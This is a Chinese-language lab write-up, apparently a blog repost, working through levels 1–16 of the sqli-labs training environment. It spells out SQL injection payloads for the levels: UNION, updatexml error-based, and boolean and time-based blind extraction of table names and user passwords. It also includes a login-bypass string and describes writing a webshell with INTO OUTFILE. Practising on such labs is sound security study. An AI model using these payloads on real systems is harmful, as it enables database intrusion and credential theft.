sqli-labs

sqli-labs,第1张

Less-1:
1.查字段数
2.看回显位置
3.爆数据库
4.爆表
5.爆字段
6.获取信息
Less-2:
相同步骤
1.查字段数
2.看回显位置
3.爆数据库
4.报表名
5.爆字段
6.获取信息
Less-3:
看了源码发现要闭合括号
1.爆字段数

2.看回显位置

3.爆数据库名

4.报表名

5.爆字段

6.获取信息

Less-4:
这题将单引号换成了双引号

1.字段数

2.看回显

3.爆数据库

4.爆表名

5.爆字段

6.获取信息

Less-5:
发现存在延时

看了wp
盲注看数据库的长度

盲注爆数据库名

同理得到数据库名为:security
还可以使用报错注入爆出数据库名

爆表:
?id=1' and updatexml(1,concat(0x5e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x5e),1) --+

爆字段:?id=1' and updatexml(1,concat(0x5e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x5e),1) --+

获取内容:?id=1’ and updatexml(1,concat(0x5e,(select username from users limit 2,1),0x5e),1) --+

用limt一个一个的查询
也可以用这句name和password一起查询:1’ and updatexml(1,concat(0x7e,(select group_concat(concat(username,0x7e,password)) from security.users where id=5),0x7e),1)–+

Less-6:

查到3个字段
爆数据库:?id=1" and updatexml(1,concat(0x5e,(database()),0x5e),1) --+

爆表:?id=1" and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x5e),1) --+

爆字段:?id=1" and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=’users’),0x5e),1) --+

获取内容:?id=1" and updatexml(1,concat(0x5e,(select username from users limit 1,1),0x5e),1) --+

Less-7:
看源码发现需要用‘))闭合

发现有三列
MySQL中,可以用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。outfile的固定结构是:select A into outfile B,意思就是将A写入B中,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,也可以是一句话木马内容。
COUNT(*) 函数返回表中的记录数:

后面的步骤看了wp设置了环境,还是写不进去文件,msql的版本也换过,还是不行
Less-8:

当输入长度大于8时,报错了,说明数据库名的长度为8
接着可以继续用if语句爆数据库名

同理爆出数据库名为:security
爆表:
ascii爆破数据库表名:
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101)–+
代表第一个表的第一位名字

?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))=101)–+
代表第一个表的第2位名字
同理得
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),1,1))=101)–+
代表第二个表的第1位名字
使用bp爆表名

第一个表名字的第一位ascii=101

第二位ascii=109
同理得到所有表名:emails referers uagents users
要得到的数据在users表中
爆字段:?id=1’ and if(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)=‘u’,1,sleep(5)) –+

?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=97–+
得第一个字段得第一位名字
?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))=97–+
得第二个字段得第一位名字
同理bp爆破得:

得到第一个字段的第一个名字ascii=105
同理得到所有字段:id username password

接下来爆数据值
获取信息:

?id=1' and (ascii(substr(( select username from users limit0,1),1,1)))=65--+
得username这列中第一行得第一个字符

其余同理

Less-9:
这题将第8题得payload结合if与sleep函数,对注入得正确与否进行判断
爆数据库:?id=1’ and If(ascii(substr(database(),1,1))=115,sleep(5),1) --+

同理得:security
爆表名:?id=1’ and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,sleep(5),1) --+

同理得表名:emails referers uagents users
爆字段名:1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,sleep(5),1)#

获取信息:
?id=1' and If(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1) --+

Less-10:
将单引号改为“闭合,其余步骤和第九题一样
Less-11:
使用万能密码可以登录,且有回显

查到字段数为2

接着看回显位置

报数据库:

爆表:
-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #

爆字段:
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

获取信息:-1' union select 1,group_concat(password) from security.users #

-1' union select 1,group_concat(username) from security.users #

Less-12:
这题变为了“)的闭合方式其余也是和上一题一样

爆回显位置:

爆数据库名:

报表名:

爆字段:

获取信息:

Less-13:

发现为‘)闭合
查字段数:字段数为2

看回显发现 没有任何回显

考虑报错注入
报数据库:1') and updatexml(1,concat(0x5e,(database()),0x5e),1) #

爆表名:
1') and updatexml(1,concat(0x5e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x5e),1)#

爆字段:1') and updatexml(1,concat(0x5e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x5e),1)#

获取信息:
1') and updatexml(1,concat(0x7e,(select group_concat(concat(username,0x7e,password)) from security.users where id=5),0x7e),1)#

Less-14:
变为了双引号闭合
仍然可以使用报错注入
报数据库:
1" and updatexml(1,concat(0x5e,(database()),0x5e),1) #

爆表:1" and updatexml(1,concat(0x5e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x5e),1)#

爆字段:1" and updatexml(1,concat(0x5e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x5e),1)#

获取信息;
1" and updatexml(1,concat(0x7e,(select group_concat(concat(username,0x7e,password)) from security.users where id=1),0x7e),1)#
Less-15:
先尝试万能密码1' or '1'=1#
发现登陆成功且是单引号闭合
这题并没有报错
爆数据库:' or (length(database())) = 8 #
' or (ascii(substr((select database()) ,1,1))) = 115 #

得数据库名:security
爆表名:
' or (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1) ,1,1))) = 101 #
同理得表名:emails referers uagents users
爆字段名:
' or (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) ,1,1))) = 97 #

同理得到所有字段:id username password

获取信息:' and (ascii(substr(( select username from users limit 0,1),1,1)))=65 #

Less-16:
跟前一关一样,错误提示被注释了,变为了闭合

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/716692.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-25
下一篇 2022-04-25

发表评论

登录后才能评论

评论列表(0条)

保存